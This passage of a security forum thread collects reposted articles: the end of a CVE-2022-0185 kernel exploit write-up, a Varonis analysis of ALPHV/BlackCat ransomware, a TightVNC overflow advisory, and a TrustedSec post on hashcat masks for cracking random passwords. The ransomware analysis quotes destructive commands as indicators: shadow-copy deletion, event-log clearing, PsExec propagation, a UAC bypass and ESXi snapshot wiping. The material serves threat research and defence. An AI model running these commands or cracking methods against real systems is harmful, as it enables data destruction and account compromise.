    3) The operations applied over that FUSE mount will be handled by our hello.c handlers.
    4) `open()` a file within the FUSE mount.
    5) `mmap()` the fd returned by `open()` to map the file.
    6) When read/write accesses are performed from/to this memory space, we will be able to handle them; for example, we can sleep or synchronize the thread-blocking/unblocking states with the exploit.
    
    ## Conclusion
    
    This post analyzed CVE-2022-0185 and the approach we adopted to exploit this bug and escalate our privileges to root.
    
    ## Mitigating the bug
    
    If you are unable to patch this bug, disabling unprivileged user namespaces will force the exploitation to require the `CAP_SYS_ADMIN` capability, which prevents this vulnerability from being exploited by unprivileged users:
    
    ```
    sysctl -w kernel.unprivileged_userns_clone = 0
    ```
    
    
    ## References
    
    The use of `msg_msg` objects for exploitation to achieve read/write primitives is really well documented in the following posts:
    
    - \[1\] [https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html](https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html)
    - \[2\] [https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html)
    - \[3\] [https://syst3mfailure.io/sixpack-slab-out-of-bounds](https://syst3mfailure.io/sixpack-slab-out-of-bounds)
    - \[4\] [https://syst3mfailure.io/wall-of-perdition](https://syst3mfailure.io/wall-of-perdition)
    
    Advisory, disclosure, patch:
    
    - \[5\] [https://access.redhat.com/security/cve/CVE-2022-0185](https://access.redhat.com/security/cve/CVE-2022-0185)
    - \[6\] [https://www.openwall.com/lists/oss-security/2022/01/18/7](https://www.openwall.com/lists/oss-security/2022/01/18/7)
    - \[7\] [https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de2](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de2)
    
    Distribution kernel updates:
    
    - \[8\] [https://ubuntu.com/security/CVE-2022-0185](https://ubuntu.com/security/CVE-2022-0185)
    - \[9\] [https://security-tracker.debian.org/tracker/CVE-2022-0185](https://security-tracker.debian.org/tracker/CVE-2022-0185)
    - \[10\] [https://www.suse.com/security/cve/CVE-2022-0185.html](https://www.suse.com/security/cve/CVE-2022-0185.html)
    - \[11\] [https://access.redhat.com/security/cve/cve-2022-0185](https://access.redhat.com/security/cve/cve-2022-0185)

     

    Sursa: https://www.openwall.com/lists/oss-security/2022/01/25/14

  6. ALPHV (BlackCat) Ransomware

     
    |

    Clock for time it takes to read article9 min read

    |

    Last updated January 26, 2022

    ALPHV (BlackCat) Ransomware | Varonis

    Following news that members of the infamous ‘big-game hunter’ ransomware group REvil have been arrested by Russian law enforcement, effectively dismantling the group and their operations, it is likely that the group’s affiliates will migrate to other ransomware-as-a-service (RaaS) providers. 

    Varonis Threat Labs has observed one such RaaS provider, ALPHV (aka BlackCat ransomware), gaining traction since late 2021, actively recruiting new affiliates and targeting organizations across multiple sectors worldwide.  

    Here are some of the key takeaways: 

    • The group is actively recruiting ex-REvil, BlackMatter, and DarkSide operators 
    • Increased activity since November 2021 
    • Lucrative affiliate pay-outs (up to 90%) 
    • Rust-based ransomware executable (fast, cross-platform, heavily customized per victim) 
    • AES encryption by default 
    • Built-in privilege escalation (UAC bypass, Masquerade_PEB, CVE-2016-0099) 
    • Can propagate to remote hosts via PsExec 
    • Deletes shadow copies using VSS Admin 
    • Stops VMware ESXi virtual machines and deletes snapshot 

    The group’s leak site, active since early December 2021, has named over twenty victim organizations as of late January 2022, though the total number of victims, including those that have paid a ransom to avoid exposure, is likely greater.  

    This article seeks to provide an overview of this emerging ransomware threat, detailing both the Linux and Windows variants of their encryption tool. 

    Background 

    First observed in November 2021, ALPHV, also known as ALPHV-ng, BlackCat, and Noberus, is a ransomware-as-a-service (RaaS) threat that targets organizations across multiple sectors worldwide using the triple-extortion tactic. 

    Building upon the common double-extortion tactic in which sensitive data is stolen prior to encryption and the victim threatened with its public release, triple-extortion adds the threat of a distributed denial-of-service (DDoS) attack if the ransomware group’s demands aren’t met. 

    Demonstrating prior experience in this threat space, such as the use of proven big-game hunter tactics, techniques, and procedures (TTP) and the apparent recent success, this threat was likely created by a former ransomware group member rather than a new-comer. 

    Going further, some cybercrime forum users have commented that ALPHV may even be an evolution or rebranding of BlackMatter, itself a ‘spin-off’ or successor of REvil and DarkSide

    Previously advertised on Russian-language cybercrime forums (Figure 1), affiliates are enticed to join the group with returns of up to ninety percent of any ransom collected. 

    Figure 1 – ALPHV Looking for WINDOWS/LINUX/ESX pentesters

    Figure 1 – ALPHV ‘Looking for WINDOWS/LINUX/ESX pentesters’ 

    Working with these new affiliates, the initial intrusion of a victim network will likely use tried-and-tested techniques. For example, the exploitation of common vulnerabilities in network infrastructure devices such as VPN gateways and credential misuse via exposed remote desktop protocol (RDP) hosts. 

    Subsequently, those conducting ALPHV attacks have been observed as using PowerShell to modify Windows Defender security settings throughout the victim network as well as launching the ransomware binary, an interactive process, on multiple hosts using PsExec. 

    Ransomware 

    Having gained initial access to a victim network, the group will undoubtedly conduct reconnaissance and lateral movement phases in which sensitive and valuable data will be identified for exfiltration and later encryption. 

    Utilizing their own ransomware executable, created afresh rather than being based on some existing threat, the threat actor will build a victim-specific threat that takes into account elements such as encryption performance, perhaps electing to only encrypt parts of large files, as well as embedded victim credentials to allow automated propagation of the ransomware payload to other servers. 

    Unlike many other ransomware threats, ALPHV was developed using Rust, a programming language known for its fast performance and cross-platform capabilities, leading to both Linux and Windows variants being observed throughout December 2021 and January 2022.  

    Whilst many suggest that ALPHV could be the first ‘in-the-wild’ ransomware threat using this language, a Rust ransomware proof-of-concept was published on GitHub in June 2020 albeit there is nothing to suggest that the two are in any way related. 

    Notably, the use of Rust, amongst other modern languages including Golang and Nim, appears to be a growing trend amongst cybercrime threat actors over the past year or two. 

    In addition to creating new cross-platform and high-performance threats, some threat actors have also taken to rewriting their older threats likely to evade detection and thwart analysis, as seen with the updated ‘Buer’ downloader dubbed ‘RustyBuer’. 

    Analysis of ALPHV samples collected recently indicates that the development process likely took place during early-to-mid November 2021 given the release history of Rust ‘crates’ (programming libraries) used.   

    Specifically, recently observed ALPHV samples utilize ‘Zeroize’ version 1.4.3 which was not released until November 4, 2021, whilst also using public key cryptography versions that were superseded by versions released on November 16 and 17, 2021.  

    Whilst many of the Rust crates used are somewhat obvious, such as the use of command-line interface and encryption libraries, the use of Zeroize, a library that securely clears secrets from memory, appears to be a deliberate attempt to prevent encryption secrets from being recovered from a compromised host. 

    Configuration 

    Each victim-specific ALPHV ransomware binary has an embedded JSON data structure (Figure 2) that contains a tailored configuration taking into account the threat actor’s knowledge of the victim network.

    config

    Figure 2 – Example embedded JSON data structure 

    Recently observed samples include configurations with a common set of options (Table 1) some of which apply to both variants and others that are operating system specific.

    Configuration Option 

    Description 

    config_id 

    Not set in recently observed samples. 

    public_key 

    Victim-specific RSA public key used to secure the encryption key. 

    extension 

    Victim-specific extension appended to encrypted files, a seemingly randomly generated string of seven lowercase alphanumeric characters (Regular Expression: [a-z0-9]{7}). 

    note_file_name 

    Ransom note filename, set to ‘RECOVER-${EXTENSION}-FILES.txt’ in recently observed samples. 

    note_full_text 

    Ransom note text, consistent across recently observed samples with a victim-specific Tor onion address used for negotiations. 

    note_short_text 

    Windows desktop wallpaper text directing the victim to the ransom note, consistent across recently observed samples. 

    default_file_mode 

    Typically set to ‘Auto’ although two ‘SmartPattern’ values have been observed that result in a specified number of megabytes of each file being encrypted in steps of ten: 

    • map[SmartPattern:[1.048576e+07 10]] 
    • map[SmartPattern:[3.145728e+07 10]] 

    These values would be set for performance reasons on specific victim hosts such as when dealing with very large files. 

    default_file_cipher 

    Set to ‘Best’ in all recently observed samples, attempts to use AES encryption first and falls back to ChaCha20. 

    credentials 

    Victim-specific, and likely used for propagation. Both domain and local administrator credentials have been observed in some samples. 

    kill_services 

    Typical list of common Windows services related to applications, backup utilities, security solutions and servers with some victim-specific services observed in recent samples. 

    kill_processes 

    Typical list of common Windows processes related to applications, backup utilities, security solutions and servers with victim-specific processes observed in recent samples. 

    exclude_directory_names 

    Typical list of Windows system directories to ensure that the host remains stable post-encryption (allowing the ransom note to be accessed). 

    exclude_file_names 

    Typical list of Windows system files to ensure the host remains stable post-encryption (allowing the ransom note to be accessed). 

    exclude_file_extensions 

    Typical list of Windows system file extensions to ensure the host remains stable post-encryption (allowing the ransom note to be accessed). 

    exclude_file_path_wildcard 

    Not set in recently observed samples, excludes specified file paths from the encryption process on a per-host/victim basis. 

    enable_network_discovery 

    Boolean value, set to ‘true’ in recently observed samples and enabling network discovery via NetBIOS/SMB in search of other hosts to encrypt. 

    enable_self_propagation 

    Boolean value, mixed configurations observed in recent samples suggest this is configured on a per-host/victim basis. 

    enable_set_wallpaper 

    Boolean value, set to ‘true’ in recently observed samples resulting in the Windows desktop wallpaper displaying ‘note_short_text’. 

    enable_esxi_vm_kill 

    Boolean value, determines if VMware ESXi virtual machines will be terminated. 

    enable_esxi_vm_snapshot_kill 

    Boolean value, determines if VMware ESXi virtual machine snapshots will be removed (configuration option only present in recently observed Linux samples). 

    strict_include_paths 

    Not set in recently observed samples, results in the encryption process only processing files within the specified paths. 

    esxi_vm_kill_exclude 

    Boolean value, excludes specific VMware ESXi virtual machines from the termination process 

    Table 1 – ALPHV Configuration Options 

    Although many options appear within the embedded configurations of both samples, it appears that the ransomware will ignore those that don’t apply to the host, for example, recently observed Windows samples include references to VMware ESXi, a platform supported by the Linux variant, whilst recently observed Linux samples retain references to Windows directories, files, and file extensions. 

    Based on the command-line options available to both variants, many of the embedded configuration options can likely be overridden at execution.  

    Command-line Interface 

    Launching the ransomware with the ‘--help’ parameter conveniently shows available options (Figure 3) and provides an insight into its capabilities.

    win_cli

    Figure 3 – ALPHV ‘Core’ Options (Windows variant) 

    Differences in the options displayed may indicate an earlier version or victim/Windows-specific variant, with many options allowing the threat actor to override any embedded configuration. 

    In addition to these core capabilities, analysis of a recent Linux variant provides insight (Figure 4) into support for VMware ESXi hosts including the ability to stop virtual machines and, if enabled, wipe virtual machine snapshots to thwart recovery efforts. 

    linux_cli

    Figure 4 – ALPHV ‘ESXi’ Options (Linux variant) 

    Once initially launched, both the Linux and Windows variants include a multi-threaded worker pool that spawns a ‘file worker pool’ comprised of four workers that are used to open and modify each target file, replacing the original content with encrypted data. 

    Windows Variant 

    Having initialized its core features, including the creation of the file worker pool, privilege escalation capabilities can be executed by the Windows variant under certain conditions. 

    Given that the manual execution of the ransomware element occurs post-intrusion, after the reconnaissance and data exfiltration stages, it is expected that the threat actor would already have elevated privileges. 

    Regardless, the following privilege escalation capabilities appear to be embedded within the ransomware and will likely increase the chance of success when propagated to other Windows hosts: 

    • Masquerade_PEB’, previously released as a proof-of-concept script [6] and used to give a PowerShell process the appearance of another process that in turn could allow elevated operations. 
    • User Account Control (UAC) bypass via an elevated COM interface, in this case abusing the Microsoft Connection Manager Admin API Helper for Setup COM object (cmstplua.dll): 
    • %SYSTEM32%\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} 
    • CVE-2016-0099, a Secondary Logon Service exploit via the ‘CreateProcessWithLogonW’ API. 

    Additionally, the Windows variant performs a number of processes prior to the encryption phase that differs from common ransomware threats, namely: 

    • Acquiring the host universally unique identifier (UUID) using the Windows Management Interface command-line utility (WMIC) that, along with the ‘access token’ value, generates an ‘access-key’ to allow access to the victim-specific Tor site: 
    • wmic csproduct get UUID 
    • Enabling both ‘remote to local’ and ‘remote to remote’ symbolic links using the file system utility (fsutil) to allow the creation of links that redirects to some other file or directory: 
    • fsutil behavior set SymlinkEvaluation R2L:1 
    • fsutil behavior set SymlinkEvaluation R2R:1 
    • Setting the number of network requests the Server Service can make to the maximum, avoiding any remote file access issues when the encryption process executes, by updating the configuration in the Windows registry: 
    • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f 
    • Enumerating all local disk partitions and, if any hidden partitions are found, mounting these to allow additional data to be encrypted, potentially rendering recovery partitions useless. 
    • Propagation, if enabled, likely uses credentials contained within the embedded configuration and makes use of PsExec, a Microsoft Windows Sysinternals utility, to execute the ransomware on a remote host: 
    • psexec.exe -accepteula \\<TARGET_HOST> -u <USERNAME> -p <PASSWORD> -s -d -f -c <ALPHV_EXECUTABLE> [FLAGS] [OPTIONS] --access-token <ACCESS_TOKEN> [SUBCOMMAND] 

    In addition to suppressing the display of the PsExec license dialog (-accepteula), the propagated ransomware process will be executed using the SYSTEM account (-s) in a non-interactive session (-d), negating the need to wait for the remote process to complete, with the ransomware executable being copied to the remote host (-c) and overwriting any existing file (-f). 
    Notably, the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory. 

    As expected, common Windows ransomware traits are also performed: 

    • Deletion of shadow copies using the Volume Shadow Copy Service (VSS) administrative utility (vssadmin) to thwart recovery efforts: 
    • vssadmin.exe delete shadows /all /quiet 
    • Terminating the processes and/or services specified within the configuration to minimize the number of locked (open) files as well as potentially disabling backup utilities and security software to evade detection. 
    • Emptying the Recycle Bin. 

    Defaulting to AES encryption, signified by the ‘best’ configuration option, the process can fallback or be overridden to use ChaCha20. 

    After a file has been encrypted, the pre-configured seven-character alphanumeric file extension is appended to the filename, a value that appears to differ between victims. 

    Following the encryption phase, a number of final tasks are performed: 

    • Network discovery, using NetBIOS and SMB, likely in preparation for propagation, seemingly including the use of native address resolution protocol (ARP) command to gather the IP and MAC addresses from the ARP table (a list of hosts known to the victim host): 
    • arp -a 
    • Creating the predefined ransom note in each folder containing encrypted files as well as an image containing the short ransom note on the Desktop of all users: 
    • RECOVER-<ENCRYPTED_FILE_EXTENSION>-FILES.txt 
    • %USERPROFILE%\Desktop\RECOVER-<ENCRYPTED_FILE_EXTENSION>-FILES.txt.png 
    • Setting the desktop wallpaper (Figure 5) to the dropped PNG image file for each user through a Windows registry key update:
    • HKEY_USERS\<SID>\Control Panel\Desktop\WallPaper = "C:\\Users\\<USERNAME>\\Desktop\\RECOVER-<ENCRYPTED_FILE_EXTENSION>-FILES.txt.png" 
     
    wallpaper

    Figure 5 – Desktop wallpaper post-encryption 

    • Repeating the shadow copy deletion process using vssadmin. 
    • Using the Windows Event Log utility (wevtutil) to list and then clear all event logs: 
    • for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" 

    VMware ESXi Behaviour 

    Assuming the ESXi options are not disabled, the VMware ESXi command-line interface utility (esxcli) is called and generates a comma-separated list of all running virtual machines: 

    • esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list 

    The output of this command is subsequently ‘piped’ to AWK, a text-processing utility, to parse the result and launch the ESXI command-line interface utility to force terminate each virtual machine: 

    • awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force --world-id="$1)}' 

    Utilizing the VMware Virtual Infrastructure Management utility (vimcmd), another list of virtual machines is gathered and parsed, the results of which are passed back to vimcmd with the ‘snapshot.removeall’ command that results in any, and all, snapshots being deleted: 

    • for i in `vim-cmd vmsvc/getallvms| awk '{print$1}'`;do vim-cmd vmsvc/snapshot.removeall $i & done 

    Victimology 

    As is common with big-game hunter ransomware threats, victims are typically large organizations from which bigger ransoms can be extorted with reports suggesting that demands have ranged from US$400K up to $3M payable in cryptocurrency. 

    Whilst the true number of victims is unknown, over twenty organizations have been named on the group’s Tor ‘leak site’, across a variety of sectors and countries including: 

    • Australia, Bahamas, France, Germany, Italy, Netherlands, Philippines, Spain, United Kingdom, and the United States. 
    • Business services, construction, energy, fashion, finance, logistics, manufacturing, pharmaceutical, retail, and technology. 

    Indicators of Compromise (IOC) 

    Linux Processes 

    The following legitimate, albeit suspicious, processes were spawned by the Linux/VMware ESXi variant: 

    • esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force --world-id="$1)}' 
    • for i in `vim-cmd vmsvc/getallvms| awk '{print$1}'`;do vim-cmd vmsvc/snapshot.removeall $i & done 

    Windows Processes 

    The following legitimate, albeit suspicious, processes were spawned by the Windows variant: 

    • arp -a 
    • %SYSTEM32%\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} 
    • for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" 
    • fsutil behavior set SymlinkEvaluation R2L:1 
    • fsutil behavior set SymlinkEvaluation R2R:1 
    • psexec.exe -accepteula \\<TARGET_HOST> -u <USERNAME> -p <PASSWORD> -s -d -f -c <ALPHV_EXECUTABLE> [FLAGS] [OPTIONS] --access-token <ACCESS_TOKEN> [SUBCOMMAND] 
    • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f 
    • wmic csproduct get UUID 

    Linux Ransomware Executables (SHA256) 

    Given that each sample is victim-specific, the following are provided for research rather than detection purposes: 

    • 3a08e3bfec2db5dbece359ac9662e65361a8625a0122e68b56cd5ef3aedf8ce1 
    • 5121f08cf8614a65d7a86c2f462c0694c132e2877a7f54ab7fcefd7ee5235a42 
    • 9802a1e8fb425ac3a7c0a7fca5a17cfcb7f3f5f0962deb29e3982f0bece95e26 
    • e7060538ee4b48b0b975c8928c617f218703dab7aa7814ce97481596f2a78556 
    • f7a038f9b91c40e9d67f4168997d7d8c12c2d27cd9e36c413dd021796a24e083 
    • f8c08d00ff6e8c6adb1a93cd133b19302d0b651afd73ccb54e3b6ac6c60d99c6 

    Windows Ransomware Executables (SHA256) 

    Given that each sample is victim-specific, the following are provided for research rather than detection purposes: 

    • 0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479 
    • 13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31 
    • 15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed 
    • 1af1ca666e48afc933e2eda0ae1d6e88ebd23d27c54fd1d882161fd8c70b678e 
    • 2587001d6599f0ec03534ea823aab0febb75e83f657fadc3a662338cc08646b0 
    • 28d7e6fe31dc00f82cb032ba29aad6429837ba5efb83c2ce4d31d565896e1169 
    • 2cf54942e8cf0ef6296deaa7975618dadff0c32535295d3f0d5f577552229ffc 
    • 38834b796ed025563774167716a477e9217d45e47def20facb027325f2a790d1 
    • 3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83 
    • 4e18f9293a6a72d5d42dad179b532407f45663098f959ea552ae43dbb9725cbf 
    • 59868f4b346bd401e067380cac69080709c86e06fae219bfb5bc17605a71ab3f 
    • 5bdc0fb5cfbd42de726aacc40eddca034b5fa4afcc88ddfb40a3d9ae18672898 
    • 658e07739ad0137bceb910a351ce3fe4913f6fcc3f63e6ff2eb726e45f29e582 
    • 7154fdb1ef9044da59fcfdbdd1ed9abc1a594cacb41a0aeddb5cd9fdaeea5ea8 
    • 722f1c1527b2c788746fec4dd1af70b0c703644336909735f8f23f6ef265784b 
    • 731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161 
    • 7b2449bb8be1b37a9d580c2592a67a759a3116fe640041d0f36dc93ca3db4487 
    • 7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e 
    • 9f6876762614e407d0ee6005f165dd4bbd12cb21986abc4a3a5c7dc6271fcdc3 
    • aae77d41eba652683f3ae114fadec279d5759052d2d774f149f3055bf40c4c14 
    • b588823eb5c65f36d067d496881d9c704d3ba57100c273656a56a43215f35442 
    • bd337d4e83ab1c2cacb43e4569f977d188f1bb7c7a077026304bf186d49d4117 
    • be8c5d07ab6e39db28c40db20a32f47a97b7ec9f26c9003f9101a154a5a98486 
    • c3e5d4e62ae4eca2bfca22f8f3c8cbec12757f78107e91e85404611548e06e40 
    • c5ad3534e1c939661b71f56144d19ff36e9ea365fdb47e4f8e2d267c39376486 
    • c8b3b67ea4d7625f8b37ba59eed5c9406b3ef04b7a19b97e5dd5dab1bd59f283 
    • cda37b13d1fdee1b4262b5a6146a35d8fc88fa572e55437a47a950037cc65d40 
    • cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae 
    • d767524e1bbb8d50129485ffa667eb1d379c745c30d4588672636998c20f857f 
    • f837f1cd60e9941aa60f7be50a8f2aaaac380f560db8ee001408f35c1b7a97cb  

     

     
     
  7. CVE-2022-23967
    In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c (for the vncviewer component). There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which will give a heap pointer. However, one can send 0xffffffff bytes of data, which can have a DoS impact or lead to remote code execution.
    
    [Vulnerability Type] Buffer Overflow
    
    [Vendor of Product] TightVNC
    
    [Affected Product Code Base] vncviewer - 1.3.10
    
    [Affected Component] file : rfbproto.c, function : InitialiseRFBConnection , line of code : 307
    
    [Attack Type] Remote
    
    [Impact Denial of Service] true
    
    [Attack Vectors] You just need to setup a fake server, to interact with the vulnerable client.
    
    [Discoverer] Maher Azzouzi
    
    [Reference] https://www.tightvnc.com/licensing-server-x11.php
    
    Use CVE-2022-23967.

     

    Sursa: https://github.com/MaherAzzouzi/CVE-2022-23967

  8. RECOVERING RANDOMLY GENERATED PASSWORDS

    January 25, 2022

    TL;DR – Use the following hashcat mask files when attempting to crack randomly generated passwords.

    8 Character Passwords masks_8.hcmask
    9 Character Passwords masks_9.hcmask
    10 Character Passwords masks_10.hcmask

    When testing a client’s security posture, TrustedSec will sometimes conduct a password audit. This involves attempting to recover the plaintext password by extracting and cracking the NTLM hashes of accounts in a Windows domain. On average, TrustedSec is able to recover between 50-70% of these passwords because most users continue to choose ‘bad’ passwords, such as Winter2021!, December21!, etc.

    Picture1.gif

    As password managers like Thycotic Secret Server, LastPass, and HashiCorp Vault grow in popularity, the use of randomly generated passwords has increased. This poses a challenge for password recovery, as up until now, the only feasible way to address this issue was to perform resource intensive brute-force attacks. These attacks typically mean trying every single character in every single position of the password (a-z, A-Z, 0-9) and all the symbols on the keyboard. (We’re sticking to English characters here.) The result is 95 characters per position, and with an 8-character password, that means 95^8 possible combinations to test (6,634,204,312,890,625 to be exact). 630,249,409,724,609,375 for 9-character passwords and 59,873,693,923,837,890,625 for 10-character passwords. Even though TrustedSec has some powerful password crackers that can cover the entire 95^8 key space in less than a day, as soon as we bump it up to 9 or 10-character passwords, recovery becomes unfeasible. But…do we NEED to test every combination?

    Picture2.gif There’s got to be a better way!

    Hypothesis

    Let’s presume you’ve encountered a set of hashes you knew were used in a Windows Domain environment and were randomly generated to be 8 characters in length. Immediately, we know that to adhere to password complexity requirements, the password must include 3 of the 4 character classes—uppercase letters, lowercase letters, numbers, and/or symbols.

    This means, when considering our key space from above, that we don’t need to test for passwords of all the same characters such as aaaaaaaa or 11111111. Furthermore, because of complexity requirements, you don’t need to test for passwords that are exclusively 2-character classes like aaaa1111.

    Taking this a step further, in casually observing randomly generated passwords, I noticed that I rarely see ones using a high quantity of a particular character class. To put it another way, I don’t think I’ve ever seen something like acbdef1! that has six consecutive lowercase letters. If this is true, could we improve our password cracking efforts by removing test cases that rarely or never happen?

    Picture1.jpg

    Experimentation

    To start, I used LastPass-cli to generate my data sets. I should note that I only used LastPass for my tests because it’s what I had available to me. It is, by no means a bad product, and this blog post is not intended to highlight any security weakness with it. I generated three files containing 1 million passwords, each of 8, 9, and 10 characters in length. The commands to do this are as follows:

    export LPASS_AGENT_TIMEOUT=0
    for i in $(seq 1 1000000);do lpass generate --sync no _tmp 8 >> ~/1M_8.txt;done
    for i in $(seq 1 1000000);do lpass generate --sync no _tmp 9 >> ~/1M_9.txt;done
    for i in $(seq 1 1000000);do lpass generate --sync no _tmp 10 >> ~/1M_10.txt;done
    

     

    Next, using a quick Python script, I enumerated all the character classes I found in each file and put them into a spreadsheet, and graphed them out.

    Picture2.png Picture3.png Picture4.png

    In reviewing these spreadsheets, there are a few things that immediately stood out. First, regardless of the length of the randomly generated password, the vast majority had one to two digits. Additionally, regardless of the overall length of the generated passwords, none contained eight or more digits.

    In showing these results to my coworkers, a wise Logan Sampson asked a good question: ‘Are these results at all affected by the weight of some character class(es) over others?’ That is to say, of the 95 possible characters our random password generator could pick from, only 10 are digits. Therefore, it would make sense that digits are less common in randomly generated passwords.

    Of the Following Key Space: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ «space»!”#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    10.53% Are digits
    27.37% Are lowercase letters
    27.37% Are uppercase letters
    34.74% Are symbols

    To test this theory, I went back and tallied how frequently each individual character appeared in all the passwords. Here are the results:

    Picture5.png

    Logan was correct. The character distribution across all the passwords of all tested lengths is the same, which is great to see. An interesting side note…it appears that LastPass does not include the space character in its randomly generated passwords! This means our key space for characters to test can be reduced by one. Woo, efficiencies!

    Regardless, we can use the fact that some character classes are more likely to appear in a randomly generated password over others to our advantage. We could build a recovery method that uses statistically likely character classes.

    To build our attack we’re going to use hashcat’s mask attack. If you’re unfamiliar with hashcat masks, we can essentially instruct hashcat to test all possible characters of a given set by using the following table:

    Mask Character Set
    ?l abcdefghijklmnopqrstuvwxyz
    ?u ABCDEFGHIJKLMNOPQRSTUVWXYZ
    ?d 0123456789
    ?h 0123456789abcdef
    ?H 0123456789ABCDEF
    ?s «space»!”#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    ?a ?l?u?d?s
    ?b 0x00 – 0xff

    For example, if we wanted to test all possible permutations of a password that was 4 characters in length and consisted of only lowercase letters, we’d use ?l?l?l?l.

    We can even specify custom character sets. For example, if I only wanted to test lowercase letters and digits, I would use -1 ?l?d to define a new character class 1. Then I could specify ?1?1?1?1?1?1?1?1 to make a mask to test all possible combinations of lowercase letters and digits for 8-character passwords.

    Using the character class distributions, we’ll create the masks below. We’ll also swap out hashcat’s standard ?s to denote all symbols and replace ?s with our custom class to exclude the space character.

    Special Character Class
    -1 !”#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    8 Characters
    Character Class Count Mask
    Lower Alpha 2 ?u?u
    Upper Alpha 2 ?l?l
    Digit 1 [1] ?d
    Symbol 3 ?1?1?1

    [1] Technically, in our graphing, we see that zero digits is more frequent than one digit, but for this test I’m going to force a minimum of one digit.


    9 Characters [2]
    Character Class Count Mask
    Lower Alpha 2 ?l?l
    Upper Alpha 3 ?u?u?u
    Digit 1 ?d
    Symbol 3 ?1?1?1

    [2] We could have easily swapped the values for Lower Alpha and Upper Alpha because their frequencies were relatively the same for 9-character passwords.


    10 Characters
    Character Class Count Mask
    Lower Alpha 3 ?l?l?l
    Upper Alpha 3 ?u?u?u
    Digit 1 ?d
    Symbol 3 ?1?1?1

    Focusing on 8-character passwords, our mask now looks something like: ?u?u?l?l?s?s?s?d. We should pay attention to the position of each character class to ensure that we test all possible combinations of these character class sets. Meaning, using the above character class sets, we need to build a list of masks like:

    ?u?u?l?l?s?s?s?d

    ?u?u?l?l?s?s?d?s

    ?u?u?l?l?s?d?s?s

    ?u?u?l?l?d?s?s?s

    ?u?u?l?d?l?s?s?s

    So, how many permutations will we need? To find out, normally you would take the total number of positions and find their factorial to get the answer (8x7x6x5x4x3x2x1). Because we are only interested in the unique patterns, we would do:

    image031.png

    The numerator is the length of the password factorial, and the denominator is the number in each character class factorial. In our case, 1,080 different hashcat masks are required for our 8-character long password.

    Picture7.gif Numbers numbers numbers, math math math…

    Thankfully, hashcat supports submitting a file of masks appropriately called an hcmask file. So, after generating a file of 1,680 masks, I tested my theory in several ways:

    • Tested the 1,680 masks against the initial set of 1M randomly generated 8-character passwords
    • Tested the 1,680 masks against a new set of 1M randomly generated 8-character passwords
    • Tested the 1,680 masks against ALL uncracked NTLM hashes in TrustedSec’s list of unrecovered hashes

    Then I repeated the above for the 9 and 10-character masks and recorded the rate of cracked hashes over a period of 1 hour, 2 hours, and 3 hours. For a baseline, I also measured the total number of hashes recovered while using the standard brute-force methods. All tests were performed using 2x GeForce RTX 2080 Ti’s. The results are as follows:

    8 Characters 1 hour
    Hashfiles Standard Brute-Force TrustedSec 1,680 hcmasks
    Initial 1M 8-character Passwords 28,825 (2.88%) 29,314 (2.93%)
    New set of 1M 8-character Passwords 24,638 (2.46%) 29,126 (2.91%)
    All Uncracked NTLM Hashes 30 (0.003%) 0 (0.00%)
    8 Characters 2 hours
    Hashfiles Standard Brute-Force TrustedSec 1,680 hcmasks
    Initial 1M 8-character Passwords 67,439 (6.74%) 37,520 (3.75%) (77 Minutes)
    New set of 1M 8-character Passwords 68,299 (4.69%) 37,391 (3.74%) (78 Minutes)
    All Uncracked NTLM Hashes 50 (0.005%) 0 (0.00%) (72 Minutes)
    8 Characters 3 hours
    Hashfiles Standard Brute-Force TrustedSec 1,680 hcmasks
    Initial 1M 8-character Passwords 106,529 (10.65%) 37,520 (3.75%) (77 Minutes)
    New set of 1M 8-character Passwords 107,498 (10.75%) 37,391 (3.74%) (78 Minutes)
    All Uncracked NTLM Hashes 62 (0.006%) 0 (0.00%) (72 Minutes)
    9 Characters 1 hour
    Hashfiles Standard Brute-Force TrustedSec 5,040 hcmasks
    Initial 1M 9-character Passwords 0 (0.00%) 321 (0.03%)
    New set of 1M 9-character Passwords 0 (0.00%) 310 (0.03%)
    All Uncracked NTLM Hashes 0 (0.00%) 2 (0.00%)
    9 Characters 2 hours
    Hashfiles Standard Brute-Force TrustedSec 5,040 hcmasks
    Initial 1M 9-character Passwords 0 (0.00%) 630 (0.06%)
    New set of 1M 9-character Passwords 0 (0.00%) 630 (0.06%)
    All Uncracked NTLM Hashes 0 (0.00%) 2 (0.00%)
    9 Characters 3 hours
